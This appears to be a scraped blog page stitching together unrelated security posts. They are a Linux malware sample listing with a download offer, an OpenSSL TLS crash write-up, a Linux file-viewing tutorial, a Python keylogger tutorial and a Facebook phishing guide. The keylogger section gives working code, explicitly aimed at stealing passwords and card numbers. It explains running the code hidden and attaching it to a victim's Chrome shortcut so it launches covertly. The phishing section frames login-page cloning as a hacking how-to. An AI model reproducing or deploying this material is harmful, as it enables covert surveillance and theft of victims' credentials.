Fotos: 2020-06-07

quinta-feira, 11 de junho de 2020

Linux.Agent Malware Sample - Data Stealer

Research: SentinelOne, Tim Strazzere Hiding in plain sight?
Sample credit: Tim Strazzere

List of files

9f7ead4a7e9412225be540c30e04bf98dbd69f62b8910877f0f33057ca153b65 malware
d507119f6684c2d978129542f632346774fa2e96cf76fa77f377d130463e9c2c malware
fddb36800fbd0a9c9bfffb22ce7eacbccecd1c26b0d3fb3560da5e9ed97ec14c script.decompiled-pretty
ec5d4f90c91273b3794814be6b6257523d5300c28a492093e4fa1743291858dc script.decompiled-raw
4d46893167464852455fce9829d4f9fcf3cce171c6f1a9c70ee133f225444d37 script.dumped

malware_a3dad000efa7d14c236c8018ad110144
malware fcbfb234b912c84e052a4a393c516c78
script.decompiled-pretty aab8ea012eafddabcdeee115ecc0e9b5
script.decompiled-raw ae0ea319de60dae6d3e0e58265e0cfcc
script.dumped b30df2e63bd4f35a32f9ea9b23a6f9e7

Download

Download. Email me if you need the password

TLS V1.2 Sigalgs Remote Crash (CVE-2015-0291)

OpenSSL 1.0.2a fix several security issues, one of them let crash TLSv1.2 based services remotelly from internet.

Regarding to the TLSv1.2 RFC, this version of TLS provides a "signature_algorithms" extension for the client_hello.

Data Structures

If a bad signature is sent after the renegotiation, the structure will be corrupted, becouse structure pointer:
s->c->shared_sigalgs will be NULL, and the number of algorithms:
s->c->shared_sigalgslen will not be zeroed.
Which will be interpreted as one algorithm to process, but the pointer points to 0x00 address.

Then tls1_process_sigalgs() will try to process one signature algorithm (becouse of shared_sigalgslen=1) then sigptr will be pointer to c->shared_sigalgs (NULL) and then will try to derreference sigptr->rhash.

This mean a Segmentation Fault in tls1_process_sigalgs() function, and called by tls1_set_server_sigalgs() with is called from ssl3_client_hello() as the stack trace shows.

StackTrace

The following code, points sigptr to null and try to read sigptr->rsign, which is assembled as movzbl eax, byte ptr [0x0+R12] note in register window that R12 is 0x00

Debugger in the crash point.

radare2 static decompiled

The patch fix the vulnerability zeroing the sigalgslen.
Get David A. Ramos' proof of concept exploit here

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Linux Command Line Hackery Series - Part 4

Welcome back to Linux Command Line Hackery, hope you have enjoyed this series so far. Today we are going to learn new Linux commands and get comfortable with reading text files on Linux.

Suppose that you wanted to view your /etc/passwd file. How will you do that? From what we have learned so far what you'll do is type:

cat /etc/passwd

And there you go, but really did you see all the output in one terminal? No, you just ended up with last few lines and you'll have to cheat (i,e use graphical scroll bar) in order to see all the contents of /etc/passwd file. So is there a command line tool in linux with which we can see all the contents of a file easily without cheating? Yes, there are actually a few of them and in this article we'll look at some common ones.

Command: more
Syntax: more [options] file...
Function: more is a filter for paging through text one screenful at a time. With more we can parse a file one terminal at a time or line by line. We can also go backward and forward a number of lines using more.

So if we're to use more on /etc/passwd file how will we do that? We'll simply type

more /etc/passwd

now we'll get a screenful output of the file and have a prompt at the bottom of terminal. In order to move forward one line at a time press <Enter Key>. Using enter we can scroll through the file one line at a time. If you want to move one screen at a time, you can press <Space Key> to move one screen at a time. There are more functions of more program, you can know about them by pressing <h key>. To exit out of more program simply type <q key> and you'll get out of more program.

Command: less
Syntax: less [options] file...
Function: less is similar to more but less has more functionality than more. less is particularly useful when reading large files as less does not have to read the entire input file before starting, so it starts up quickly than many other editors.

less command is based on more so what you've done above with more can be done with less as well. Try it out yourself.

Command: head
Syntax: head [OPTION]... [FILE]...
Function: head command prints the head or first part of a file. By default head prints out first 10 lines of a file. If more than one file is specified, head prints first 10 lines of all files as a default behavior.

If we want to see only first 10 lines of /etc/passwd we can type:

head /etc/passwd

We can also specify to head how many lines we want to view by using the -n flag. Suppose you want to see first 15 lines of /etc/passwd file you've to type:

head -n 15 /etc/passwd

Ok you can view the first lines of a file what about last lines, is there a tool for that also? Exactly that's what our next command will be about.

Command: tail
Syntax: tail [OPTION]... [FILE]...
Function: tail is opposite of head. It prints the last 10 lines of a file by default. And if more than one file is specified, tail prints last 10 lines of all files by default.

To view last 10 lines of /etc/passwd file you'll type:

tail /etc/passwd

and as is the case with head -n flag can be used to specify the number of lines

tail -n 15 /etc/passwd

Now one more thing that we're going to learn today is grep.

Command: grep
Syntax: grep [OPTIONS] PATTERN [FILE...]
Function: grep is used to search a file for lines matching the pattern specified in the command.

A PATTERN can simply be a word like "hello" or it can be a regular expression (in geek speak regex). If you aren't familiar with regex, it's ok we'll not dive into that it's a very big topic but if you want to learn about it I'll add a link at the end of this article that will help you get started with regex.

Now back to grep say we want to find a line in /etc/passwd file which contains my user if we'll simply type:

grep myusername /etc/passwd

Wohoo! It gives out just that data that we're looking for. Remember here myusername is your username.
One cool flag of grep is -v which is used to look in file for every line except the line containing the PATTERN specified after -v [it's lowercase v].

Take your time practicing with these commands especially grep and more. We'll learn a lot more about grep in other upcoming articles.

References:
https://en.wikipedia.org/wiki/Regular_expression
http://www.regular-expressions.info/
Awesome website to learn Regular expressions - http://www.regexr.com/

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How To Make A Simple And Powerful Keylogger Using Python

A keylogger is a computer program which can be written using any computer programming language such as c++ when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.

How to make a python keylogger?

A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.

Requirements to create a python keylogger

Computer With Operating system: Windows, Mac os or Linux
Python must be installed on the system
Pip (Python index package ) you will need this to install python software packages.
Pypiwin32 and PyHook packages
Basic understanding of computers

You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.

Part 1: Downloading Python and pip, setting up the environment to create the keylogger.Step 1:

Download python development kit by clicking here.

Choose python 2.7 because I am using this version. It is ok if you have a different version of python this method will work on every version of python.

Step 2:

Installation of python is pretty simple.Open the python setup file, Mark the checkboxes Very important else you have to set the python path manually, and click on Install Now.

Step 3:

You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.

To download pip go to https://pip.pypa.io/en/stable/installing/ and Save link as by right clicking on get-pip.py. when the download is done, just run the get-pip.py file.

Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.

Now click on the Advanced system settings

Choose Environment Variables.

Choose New, Set the Variable name: PATH and Variable value as C:\Python27\Scripts

Click on ok.

Part 2: Installing Pypiwin32 and PyHook python Packages using pip:

Open Command Prompt(CMD) and type: pip installs Pypiwin32 press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: pip install PyHook press the Enter Key and wait for the installation to complete.When done close the Command Prompt.

Part 3: Creating and testing the python keylogger:

Now you have configured your environment and installed all the necessary packages, let's start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI) by clicking on it.

Go to the File, from the drop-down menu choose New file.

Python Keylogger source code:

Copy these lines of code and paste into the new file. Modify the directory in the second line of code to your own location e.g 'C:\test\log.txt' this will create a folder named test in C save the log.txt file there when the Keylogger start.

import pyHook, pythoncom, sys, logging
file_log='F:\\test\\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.

The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt on my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as Google Chrome.

Let's make the python keylogger auto-launchable by attaching it the Google Chrome.

Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat

Now right click on the google chrome desktop shortcut icon and click on properties. You will see a field called Target. Change the target field to the batch file launch.bat directory that you created. let's say you have saved your launch.bat file in a test folder in C, Then change the target field with "C:\test\launch.bat". Now, whenever the user opens chrome the keylogger will run automatically.

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How To Hack Facebook By Social Engineering Attack

This video is specially for educational purpose only. I'm not responsible for your any illegal activity. Thanks!

Social Engineering Attack

Phishing is the fraudulent attempt to obtain sensitive information such as usernames, passwords, and credit card details (and money), often for malicious reasons, by disguising as a trustworthy entity in an electronic communication. The purpose of this video tutorial is to show you How hackers hacked any thing by Social Engineering Attack.

Phishing is a cybercrime in which a target or targets are contacted by email, telephone or text message by someone posing as a legitimate institution to lure individuals into providing sensitive data such as personally identifiable information, banking and credit card details, and passwords. The information is then used to access important accounts and can result in identity theft and financial loss.

Kali Linux has many tools for doing social engineering attacks. Setoolkit is the most powerful tool in Kali Linux to do a social engineering attacks over the same and different networks.

Social Engineering over the same network requires the local IP address of your system just like this one 192.168.1.2. Now how you can get your local IP address from your system. To find local IP address just open up your terminal in Linux distribution:

Type: ifconfig wlan0 (if you are using WiFi)
Type: ifconfig eth0 (if you are using eth0)
Type: ifconfig (It display all information about your network)

Now you've another thing to do is that you just have to clone a web page you wanna clone like Facebook, g-mail, twitter etc. Similarly, If you wanna clone a facebook page so for this you just have to type www.facebook.com over your system's terminal for cloning a login page for Social Engineering attack.Still If you don't know how to do that so don't be worry, I did all the process practically in the below just go down and watch it!